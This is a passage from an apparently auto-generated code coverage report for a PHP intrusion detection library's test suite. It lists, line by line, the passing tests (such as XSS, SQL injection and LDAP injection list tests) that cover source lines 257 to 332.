class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel257": { - "header": "41 tests cover line 257", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel258": { - "header": "41 tests cover line 258", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel260": { - "header": "41 tests cover line 260", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel261": { - "header": "41 tests cover line 261", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel266": { - "header": "41 tests cover line 266", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel268": { - "header": "41 tests cover line 268", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel269": { - "header": "41 tests cover line 269", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel271": { - "header": "41 tests cover line 271", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel277": { - "header": "41 tests cover line 277", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel293": { - "header": "1 test covers line 293", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel298": { - "header": "1 test covers line 298", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel303": { - "header": "1 test covers line 303", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel316": { - "header": "1 test covers line 316", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel326": { - "header": "1 test covers line 326", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel327": { - "header": "1 test covers line 327", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel328": { - "header": "1 test covers line 328", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel330": { - "header": "1 test covers line 330", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel332": { - "header": "1 test covers line 332", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel334": { - 